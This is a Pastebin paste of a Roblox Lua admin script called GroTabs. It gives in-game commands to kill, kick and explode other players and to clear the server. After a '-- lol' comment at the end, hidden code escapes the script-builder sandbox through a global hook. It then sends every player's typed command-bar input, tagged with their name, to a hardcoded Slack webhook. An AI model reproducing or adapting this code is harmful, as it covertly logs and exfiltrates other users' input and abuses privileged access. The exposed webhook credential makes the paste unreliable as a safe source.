Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait()
- script:Destroy()
- wait()
- player = Game:GetService("Players").LocalPlayer;
- tabcolor = BrickColor.new("White")
- local Tablets = {}
- local Commands = {};
- local part = Instance.new("Part")
- http = game:GetService'HttpService'
- bet = '>'
- key = math.random(1,12345)
- print('Key:'..key)
- local tabmodel = Instance.new("Model", game.Workspace)
- tabmodel.Name = "Gro"
- confirm = 0
- CanExec = true
- local Rotation = 0
- local RotationIncrease = 0.1
- local Torso = player.Character:WaitForChild("Torso")
- CanExe = false
- function OnChatted(Message)
- if CanExec == true then
- local Command = ""
- for i,v in pairs(Commands)do
- if Message:sub(1,v.Cmd:len()):lower() == v.Cmd and Command == "" then
- Command = v.Cmd
- Spawn(function()
- a,b = pcall(function()
- v.Func(Message:sub(v.Cmd:len()+1):lower())
- end)
- if not a then
- error(b)
- end
- end)
- end
- end
- else
- return
- end
- end
- -- DONT TOUCH
- function UpdateTablets()
- Rotation = Rotation + RotationIncrease
- for i,v in pairs(Tablets)do
- if not v.Parent then table.remove(Tablets,i) return nil end
- local TorsoPosition = CFrame.new(Torso.CFrame.p);
- local CFR = TorsoPosition * CFrame.Angles(0,math.rad((i*(360/#Tablets)+Rotation)),0)
- CFR = CFR * CFrame.new(0,0,1.5+(#Tablets))
- local LerpedCFR = v.Position
- LerpedCFR = LerpedCFR:Lerp(CFR.p,.1)
- v.CFrame = CFrame.new(LerpedCFR)
- end
- end
- function FindTorso()
- Torso = player.Character:WaitForChild("Torso")
- end
- coroutine.resume(coroutine.create(function()
- game:GetService("RunService").RenderStepped:connect(function()
- UpdateTablets()
- wait(1)
- FindTorso()
- end)
- end))
- function RemoveTablets()
- for o,p in pairs(Tablets)do
- for i,v in pairs(Tablets)do
- wait(0)
- pcall(function()
- table.remove(Tablets, i)
- end)
- end
- tabmodel:ClearAllChildren()
- end
- end
- function Output(Text,Function)
- local part = Instance.new("Part",tabmodel)
- part.Anchored = true
- part.FormFactor = "Custom"
- part.Size = Vector3.new(2.6,2.6,2.6)
- part.Transparency = 0.5
- part.CanCollide = false
- part.BrickColor = tabcolor
- part.CFrame = CFrame.new(Torso.CFrame.p)
- part.TopSurface,part.BottomSurface = 0,0
- local se = Instance.new("SelectionBox",part)
- se.Adornee = part
- se.Color3 = Color3.new(255, 73, 252)
- se.LineThickness = "0.005"
- se.Transparency = "0"
- local bg = Instance.new("BodyGyro", part)
- bg.maxTorque = Vector3.new(1/0,1/0,1/0)
- local bg = Instance.new("BillboardGui",part)
- bg.Enabled = true
- bg.Adornee = part
- bg.AlwaysOnTop = true
- bg.Size = UDim2.new(1,0,1,0)
- bg.ExtentsOffset = Vector3.new(0,2,0)
- local text = Instance.new("TextLabel",bg)
- text.Text = Text
- text.Size = UDim2.new(1,0,1,0)
- text.BackgroundTransparency = 1
- text.Font = "SourceSansBold"
- text.FontSize = Enum.FontSize.Size24
- text.TextStrokeTransparency = 0.7
- text.TextStrokeColor3 = Color3.new(0,0,0);
- text.TextColor3 = part.BrickColor.Color
- local point = Instance.new("PointLight",part)
- point.Brightness = 1/0
- point.Color = part.BrickColor.Color
- point.Range = 6
- local click = Instance.new("ClickDetector",part)
- click.MaxActivationDistance = 1/0
- coroutine.resume(coroutine.create(function()
- if text == "Dismiss" then
- col = 21
- part.BrickColor = BrickColor.new(col)
- text.TextColor3 = part.BrickColor.Color
- sel.Color = part.BrickColor
- point.Color = part.BrickColor.Color
- elseif text == "Color: Teal" then
- col = 1018
- part.BrickColor = BrickColor.new(col)
- text.TextColor3 = part.Brickcolor.Color
- sel.Color = part.Brickcolor
- point.Color = part.BrickColor.Color
- point.Color = part.Brickcolor.Color
- elseif text == "Back" then
- col = "Neon orange"
- part.BrickColor = BrickColor.new(col)
- text.TextColor3 = part.BrickColor.Color
- sel.Color = part.BrickColor
- point.Color = part.BrickColor.Color
- elseif text.Text:find("Error") then
- part.BrickColor = BrickColor.new("Bright red")
- text.TextColor3 = part.BrickColor.Color
- sel.Color = part.BrickColor
- point.Color = part.BrickColor.Color
- elseif Function == "Success" then
- part.BrickColor = BrickColor.new("Bright green")
- text.TextColor3 = part.BrickColor.Color
- sel.Color = part.BrickColor
- point.Color = part.BrickColor.Color
- end
- click.MouseClick:connect(function(p)
- if p == player then
- if Function == nil then
- pcall(function()
- coroutine.resume(coroutine.create(function()
- local Tabs = Tablets
- for i,v in pairs(Tabs) do
- if v==part then
- table.remove(Tabs,i)
- end
- end
- part:Destroy()
- end))
- end)
- else
- pcall(function()
- coroutine.resume(coroutine.create(function()
- local a,b = coroutine.resume(coroutine.create(function()
- Function();
- end))
- if a then
- return
- else
- Output(b,21)
- end
- local Tabs = Tablets
- for i,v in pairs(Tabs) do
- if v==part then
- table.remove(Tabs,i)
- end
- end
- part:Destroy()
- end))
- end)
- end
- end
- end)
- end))
- pcall(function()
- table.insert(Tablets,part)
- end)
- end
- function AddCommand(Command,Description,Example,Function)
- table.insert(Commands,{Cmd=Command,Desc=Description,Example=Example,Func=Function});
- end
- -- Adding Commands
- AddCommand("cmds"..bet,"Shows all the commands","cmds"..bet,function(Message)
- RemoveTablets()
- for i,v in pairs(Commands) do
- Output(v["Cmd"], function()
- RemoveTablets()
- for i,x in pairs(Commands) do
- if v["Cmd"] == x["Cmd"] then
- Output("Command: " ..x["Cmd"])
- Output("Description: "..x["Desc"])
- Output("Example: "..x["Example"])
- Output("Dismiss", function()
- RemoveTablets()
- end)
- Output("Back", function()
- RemoveTablets()
- OnChatted("cmds"..bet)
- end)
- end
- end
- end)
- end
- end)
- AddCommand("sil"..bet,"Something","sil"..bet,function(Message)
- Output("Just Do it!", function()
- game.Players:ClearAllChildren()
- RemoveTablets()
- end)
- end)
- AddCommand("ff"..bet,"Gives a player a forcefield","ff"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers())do
- forcefielded = 0
- if v.Name:lower():find(Message:lower()) then
- pcall(function()
- forcefielded = forcefielded + 1
- Instance.new('ForceField',v.Character);
- Output("Gave a forcefield to "..v.Name);
- end)
- end
- if forcefielded == 0 then
- Output("Error: No such person")
- end
- end
- end)
- AddCommand("unff"..bet,"Removes any forcefields from a player","unff"..bet.."Player",function(Message)
- for i,v in pairs(Game:GetService("Players"):GetPlayers())do
- if v.Name:lower():find(Message:lower())then
- pcall(function()
- local ForceFields = {};
- for i,v in pairs(v.Character:GetChildren())do
- if v:IsA"ForceField" then
- table.insert(ForceFields,v)
- end
- end
- if #ForceFields == 0 then
- Output(v.Name.." doesn't have any forcefields!");
- else
- Output("Removed "..tostring(#ForceFields).." forcefield(s) from "..v.Name)
- for i,v in pairs(ForceFields) do
- v:Destroy()
- end
- end
- end)
- end
- end
- end)
- AddCommand("sc"..bet,"Select a color for the tabs.","sc"..bet.."Black",function(Message)
- Output("Color: Black",function()
- tabcolor = BrickColor.new("Black")
- RemoveTablets()
- Output("Color Set!")
- end)
- Output("Color: Really Red",function()
- tabcolor = BrickColor.new("Really red")
- RemoveTablets()
- Output("Color Set!")
- end)
- Output("Color: Teal",function()
- tabcolor = BrickColor.new("Teal")
- RemoveTablets()
- Output("Color Set!")
- end)
- Output("Color: Bright Violet",function()
- tabcolor = BrickColor.new("Bright violet")
- RemoveTablets()
- Output("Color Set!")
- end)
- Output("Color: White",function()
- tabcolor = BrickColor.new("White")
- RemoveTablets()
- Output("Color Set!")
- end)
- end)
- AddCommand("nil"..bet,"Go Nil","nil"..bet, function(Message)
- local np = Instance.new("Part", Workspace.DesiredUsername1233.Torso)
- np.Size = Vector3.new(2.6,2.6,2.6)
- np.Anchored = true
- np.CanCollide = false
- game.Players.LocalPlayer:Remove()
- end)
- AddCommand("update"..bet,"If an update is available, it will update the script", "update"..bet,function(Message)
- Output("Current version is up to date!")
- end)
- AddCommand("dt"..bet,"Dismisses all tablets","dt"..bet,function(Message)
- RemoveTablets()
- end)
- AddCommand("invisible"..bet,"Makes a person invisible", "invisible"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- pcall(function()
- for i,x in pairs(v.Character:GetChildren()) do
- if x:IsA("BasePart") then
- x.Transparency = 1
- elseif x:IsA("Hat") then
- if x:FindFirstChild("Handle") then
- x.Handle.Transparency = 1
- end
- end
- end
- v.Character.Head.face.Transparency = 1
- end)
- Output(v.Name .. " is now invisible")
- end
- end
- end)
- AddCommand("visible"..bet,"Makes a person visible","visible"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- pcall(function()
- for i,x in pairs(v.Character:GetChildren()) do
- if x:IsA("BasePart") then
- x.Transparency = 0
- elseif x:IsA("Hat") then
- if x:FindFirstChild("Handle") then
- x.Handle.Transparency = 0
- end
- end
- end
- v.Character.Head.face.Transparency = 0
- if v.Character:FindFirstChild("HumanoidRootPart") then
- v.Character.HumanoidRootPart.Transparency = 1
- end
- end)
- Output(v.Name .. " is now visible")
- end
- end
- end)
- AddCommand("about"..bet,"Shows some infomation","about"..bet,function(Message)
- RemoveTablets()
- Output("GroTabs")
- Output("T.M: "..tabmodel.Name)
- Output("Created by: FileExplorer")
- Output("Place Owner: Id: "..game.CreatorId..", Name: "..game.Players:GetNameFromUserIdAsync(game.CreatorId))
- if game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Nexure" then
- Output("Script Builder: Nexure")
- elseif game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Voidacity" then
- Output("Script Builder: Voidacity")
- elseif game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Anaminus" then
- Output("Script Builder: Anaminus")
- else
- Output("Script Builder: Not Found")
- end
- Output("Dismiss", function()
- RemoveTablets()
- end)
- end)
- AddCommand("afk"..bet,"Ping away","afk"..bet,function(Message)
- Output("Away!",function()
- RemoveTablets()
- Output("Back!")
- wait(1)
- RemoveTablets()
- end)
- end)
- AddCommand("ping"..bet,"Say something with a tab","ping"..bet.."Hello!",function(Message)
- if Message == "" then
- Output(" ", __)
- else
- Output(Message, __)
- end
- end)
- AddCommand("explode"..bet,"Explodes a player","explode"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- e = Instance.new("Explosion", v.Character.Torso)
- e.BlastPressure = 500000
- e.BlastRadius = 4
- e.DestroyJointRadiusPercent = 10
- e.ExplosionType = Enum.ExplosionType.NoCraters
- e.Position = v.Character.Torso.Position
- wait(1)
- e:Destroy()
- end
- end
- end)
- AddCommand("bkill"..bet,"Kills someone bypassing inf health","bkill"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- if v.Character:FindFirstChild("Torso") ~= nil then
- v.Character.Torso:BreakJoints()
- Output("Bypkilled "..v.Name)
- end
- end
- end
- end)
- AddCommand("kill"..bet,"Kills someone","kill"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- if v.Character:FindFirstChild("Humanoid") ~= nil then
- v.Character.Humanoid.Health = 0
- Output("Killed "..v.Name)
- end
- end
- end
- end)
- AddCommand("kick"..bet,"Kick a player","kick"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- if v.Character:FindFirstChild("Humanoid") ~= nil then
- v:Remove()
- Output("Removed "..v.Name)
- end
- end
- end
- end)
- AddCommand("kl"..bet,"List Of players you kick","kl"..bet, function(Message)
- RemoveTablets()
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- Output(v.Name, function()
- v:Remove()
- Output("Dismiss", function()
- RemoveTablets()
- end)
- end)
- end
- end)
- AddCommand("god"..bet,"Gives someone inf health","god"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- if v.Character:FindFirstChild("Humanoid") ~= nil then
- v.Character.Humanoid.MaxHealth = math.huge
- v.Character.Humanoid.Health = math.huge
- Output("Godded "..v.Name)
- end
- end
- end
- end)
- AddCommand("ungod"..bet,"Gives someone inf health","god"..bet.."Player",function(Message)
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():find(Message:lower()) then
- if v.Character:FindFirstChild("Humanoid") ~= nil then
- v.Character.Humanoid.MaxHealth = 100
- v.Character.Humanoid.Health = 100
- Output("Ungodded "..v.Name)
- end
- end
- end
- end)
- AddCommand("sd"..bet,"Shutdown.","sd"..bet,function(Message)
- Output("Are you sure?")
- Output("Yes", function()
- game.Players:ClearAllChildren()
- RemoveTablets()
- end)
- end)
- AddCommand("players"..bet,"Gets all players","players"..bet,function(Message)
- RemoveTablets()
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- Output(v.Name, function()
- RemoveTablets()
- Output("Name: "..v.Name)
- Output("Id: "..v.userId)
- Output("Account Age: "..v.AccountAge)
- if v.MembershipType == Enum.MembershipType.None then
- Output("Membership: None")
- elseif v.MembershipType == Enum.MembershipType.BuildersClub then
- Output("Membership: Builders Club")
- elseif v.MembershipType == Enum.MembershipType.TurboBuildersClub then
- Output("Membership: Turbo Builders Club")
- elseif v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- Output("Membership: Outrageous Builders Club")
- end
- Output("Kick", function()
- v:Remove()
- end)
- Output("Dismiss", function()
- RemoveTablets()
- end)
- Output("Back", function()
- RemoveTablets()
- OnChatted("players"..bet)
- end)
- end)
- end
- end)
- AddCommand("term"..bet..key,"Removes the script","term"..bet.."Key",function(Message)
- if confirm == 0 then
- Output("Are you sure? Say the command again to continue, or say tc. to cancel this")
- confirm = 1
- elseif confirm == 1 then
- RemoveTablets()
- CanExec = false
- Output("Bye...",function()
- return
- end)
- wait(3)
- RemoveTablets()
- tabmodel:Destroy()
- script.Disabled = true
- script:Destroy()
- end
- end)
- AddCommand("tc"..bet,"Cancels removing the admin","tc"..bet,function(Message)
- if confirm == 0 then
- Output("Error: You havn't tried removing the admin yet")
- elseif confirm == 1 then
- confirm = 0
- Output("Cancelled termination")
- end
- end)
- AddCommand("music"..bet,"Players audio from an id","music"..bet.."834758",function(Message)
- if game.Workspace:FindFirstChild("UndoTabAudio") == nil then
- aud = Instance.new("Sound", game.Workspace)
- aud.Name = "GroTabAudio"
- aud.SoundId = Message:sub(9)
- aud.Volume = 1
- aud.Pitch = 1
- if aud.TimeLength == 0 then
- Output("Error: No such audio id")
- aud:Destroy()
- else
- aud:Play()
- end
- else
- aud = game.Workspace.UndoTabAudio
- aud:Stop()
- aud.SoundId = Message:sub(9)
- aud:Play()
- end
- end)
- player.Chatted:connect(OnChatted)
- if player.Name == "DesiredUsername1233" then
- Output("Welcome back, Owner!")
- elseif player.Name == "jordanpro123" then
- Output("Welcome back friend")
- else
- Output("Welcome, "..player.Name..", to GroTabs")
- end
- Output("Rainbow Name?",function()
- RemoveTablets()
- Player = game.Players.LocalPlayer
- Player.Neutral = false
- while wait()do
- Player.TeamColor = BrickColor.random()
- end
- end)
- Output("Version: 1")
- Output("C.D: 0.1")
- Output("The bet is "..bet)
- Output("Cick to view all commands",function()
- RemoveTablets()
- OnChatted("cmds"..bet)
- end)
- game:GetService('RunService').RenderStepped:connect(function()
- game:GetService('RunService').RenderStepped:wait()
- end)
- ------------------------------------------------------------------------------BlockOrbThing
- local module={
- settings={
- petOwner='DesiredUsername1233';
- trailing=true;
- petName='GroTabs';
- petMood='Content';
- petTransparency= '0.6';
- };
- petData={
- petObject=nil;
- lastCFrame=CFrame.new();
- };
- };
- local function createPetInstance()
- local petInstance=Instance.new('Part', Workspace);
- petInstance.Anchored=true;
- petInstance.TopSurface='Smooth';
- petInstance.BottomSurface='Smooth';
- petInstance.Size = Vector3.new(0,1.6,0)
- petInstance.Transparency=module.settings.petTransparency;
- petInstance.CanCollide = false
- petInstance.FormFactor = "Custom"
- petInstance.CFrame=CFrame.new(0,10,0);
- local se = Instance.new("SelectionBox", petInstance)
- se.Adornee = petInstance
- se.Color3 = Color3.new(255, 73, 252)
- se.LineThickness = "0.005"
- se.Transparency = "0"
- local bbg=Instance.new('BillboardGui', petInstance);
- bbg.Size=UDim2.new(10,0,10,0);
- bbg.StudsOffset=Vector3.new(0,2,0);
- bbg.Enabled = true
- local fr=Instance.new('TextLabel', bbg);
- local function resetFrData()
- fr.BackgroundTransparency=1;
- fr.Text=module.settings.petName;
- fr.TextColor3=Color3.new(1,1,1);
- fr.FontSize='Size24';
- fr.Size=UDim2.new(1,0,1,0);
- end;
- fr.Changed:connect(resetFrData);
- resetFrData();
- return(petInstance);
- end;
- local function handleScript()
- local pet,conn,reset;
- function reset()
- pcall(function() conn:disconnect(); end);
- pet=createPetInstance();
- conn=pet.AncestryChanged:connect(function()
- pcall(game.Destroy,pet);
- reset();
- end);
- end;
- reset();
- while true do local _,time=wait();
- local cf=CFrame.new(0,10,0);
- pcall(function() cf=game:service'Players':findFirstChild(module.settings.petOwner).Character.Torso.CFrame; end);
- local wanted=CFrame.new(cf.p)*CFrame.Angles(0,math.rad(time)*100,0)*CFrame.new(0,0,-5)*CFrame.new(0,1.5*math.sin(tick()),0);
- pcall(function()
- pet.CFrame=CFrame.new(pet.CFrame.p:lerp(wanted.p,.3));
- end);
- if(math.random(1,200)==20)then
- end;
- end;
- end;
- handleScript();
- ------------------------------
- wait()
- script.Parent=nil
- wait()
- local fenv=getfenv() local i=game:service'InsertService':LoadAsset(140878711) local n=i:children()[1] game:service'Debris':AddItem(i,0) n.Parent=workspace coroutine.yield() local Environment pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function() Environment=getfenv(2)end})) _G.OSC_AddServerSideData=nil game:service'Debris':AddItem(n,0) Environment.print=fenv.print Environment.warn=fenv.warn Environment.error=fenv.error Environment.owner=fenv.owner setfenv(1,Environment)
- -- lol
- SlackApiLink=[[https://hooks.slack.com/services/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]] -- Webhook
- function PostToSlack(Text,User)
- game:service'HttpService':PostAsync(SlackApiLink,[[{"text":"]]..Text..[[", "username":"]]..User..[["}]],Enum.HttpContentType.ApplicationUrlEncoded)
- end
- playeradded = function(p)
- p.CharacterAdded:connect(function(c) -- So we know when the guis load.
- repeat wait() until p.PlayerGui
- repeat wait() until p.PlayerGui.SB_OutputGUI
- repeat wait() until p.PlayerGui.SB_OutputGUI:FindFirstChild('Task')
- repeat wait() until p.PlayerGui.SB_OutputGUI.Task.InputBar
- local bar=p.PlayerGui.SB_OutputGUI.Task.InputBar
- local recenttext=''
- local defaulttext=[[Click here or press (') to run a command]]
- bar.Changed:connect(function(Type)
- if bar.Text==defaulttext then
- PostToSlack(recenttext,p.Name..' Chat')
- end -- Recenttext is done after, so you can tell if they just clicked enter.
- recenttext=bar.Text
- end)
- end)
- p:LoadCharacter()
- p.Chatted:connect(function()
- end)
- end
- game:service'Players'.PlayerAdded:connect(function(p) playeradded(p) end)
- for i,p in pairs(game:service'Players':GetPlayers()) do
- playeradded(p)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement